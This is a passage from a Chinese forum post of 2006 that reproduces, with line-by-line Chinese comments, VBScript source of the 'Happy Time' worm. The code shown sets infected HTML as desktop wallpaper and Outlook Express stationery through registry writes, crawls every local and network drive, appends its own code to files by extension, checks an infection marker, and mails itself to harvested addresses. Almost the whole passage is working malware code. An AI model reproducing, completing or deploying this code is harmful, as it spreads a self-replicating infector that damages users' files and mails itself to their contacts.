|
发表于 2006-3-16 12:04:26
|
显示全部楼层
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
''创建超文本
pfc.Write "<" & "HTML><" & "body bgcolor=''#007f7f'' background=''" & n1 & "''><
" & "/Body><" & "/HTML>" & mt
''超文本的内容
pfc.Close
Rw Ks & "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
''将带毒的超文本设置成活动桌面
End If
Else
Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)
fc.Write Sa("0100")
''创建vbs文件
fc.Close
bf = Cs & "\Untitled.htm"
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
''创建windows下的untitled.htm
oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook E
xpress\5.0\Mail"
MSH = oe & "\Message Send HTML"
CUS = oe & "\Compose Use Stationery"
SN = oe & "\Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
''在Hkey_Current_User\Identities\{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}\Software\Microsoft\Outlook Express\5.0\Mail下添加三个键值Message Send HTML 、Compose Use Stationery 和Stationery Name,前两个的值为1,后一个指向windows\untitled.htm
Web = Cs & "\WEB"
Set gf = Of.GetFolder(Web).Files
''得到windows\web文件夹里的文件
Od.Add "htt", "1100"
''向Dictionary里添加htt项目对
For Each m In gf
''遍历windows\web下的每一个文件
fext = GetExt(Of, Od, m)
''得到每个文件的扩展名
If fext <> "" Then
''如果扩展名不为空,则
Fw Of, m, fext
End If
Next
End If
End Sub
''******************************************************************
Sub mclose()
document.Write "<" & "title>I am sorry!''写入I am sorry,并关闭。以此作为感染与否的标记
window.Close
End Sub
''******************************************************************
Sub Fw(Of, S, n)
''此时S为文件名,n为文件扩展名
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
''只读模式打开该文件
mt = fc.ReadAll
''读入全部文件流
fc.Close
''关闭文件
If Not Sc(mt) Then
''如果未感染过
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
''打开文件并在文件末尾进行写操作
fc2.Write mt
fc2.Close
Msend (mmail)
''发带毒邮件
End If
End Sub
''******************************************************************
Function Sc(S)
mN = "Rem I am sorry! Happy time"
If InStr(S, mN) > 0 Then
''如果读入的文件流中有Rem I am sorry! Happy time
Sc = True
Else
Sc = False
''表示已感染过,返回True,否则为False
End If
End Function
''******************************************************************
Function Fnext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
''初始化变量
If Of.FileExists(S) Then
''如果S存在于当前文件夹中
fpath = Of.GetFile(S).ParentFolder
''得到文件的父目录名
fname = S
''得到文件名
ElseIf Of.FolderExists(S) Then
''不存在于当前文件夹中,则得到目录名
fpath = S
T = True
Else
fpath = Dnext(Of, "")
''得到当前盘符--即根目录
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
''得到当前目录下的所有文件对象
For Each m In gf
''遍历每个文件
If T Then
If GetExt(Of, Od, m) <> "" Then
''如果该文件是文件集合中的一员
Fnext = m
''则返回该文件名,供调用的函数或过程使用--感染或删除之
Exit Function
End If
ElseIf Lcase(m) = Lcase(fname) Or fname = "" Then
''如果没文件
T = True
End If
Next
fpath = Pnext(Of, fpath) ''
Loop
End Function
''******************************************************************
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then
''如果如果指定的文件夹存在
Set gp = Of.GetFolder(S).SubFolders
''就得到子目录数
pn = gp.Count
If pn = 0 Then
''如果没子目录
Ppath = Lcase(S) ''
Npath = Lcase(Of.GetParentFolderName(S))
''得到父目录的小写形式
T = True
Else
Npath = Lcase(S)
''有子目录,得到其小写形式的集合
End If
Do While Not Er ''
For Each pn In Of.GetFolder(Npath).SubFolders
''得到子目录下的子目录
If T Then
If Ppath = Lcase(pn) Then
T = False
End If
Else
Pnext = Lcase(pn)
Exit Function
End If
Next
T = True
Ppath = Lcase(Npath)
''将字符串转化成小写
Npath = Of.GetParentFolderName(Npath) ''
If Of.GetFolder(Ppath).IsRootFolder Then
''如果是根目录
m = Of.GetDriveName(Ppath)
''就得到分区符
Pnext = Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function
''******************************************************************
Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives
''得到所有的驱动器盘符
For Each d In dc
''遍历每个驱动器
If d.DriveType = 2 Or d.DriveType = 3 Then
''如果是网络盘或本地盘
If T Then
Dnext = d
Exit Function
''如果是False,就返回当前盘,并退出本函数
Else
If Lcase(S) = Lcase(d) Then
''如果是True且盘符相同,就令T为True
T = True
End If
If m = "" Then
''如果m为空,就将盘符付给m
m = d
End If
End If
End If
Next
Dnext = m
''返回盘符
End Function
''******************************************************************
Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = Lcase(Of.GetExtensionName(S))
''返回该文件扩展名的小写
GetExt = Od.Item(fext)
''返回Dictionary对象中指定的key对应的item--即0001(exe)等
End Function |
|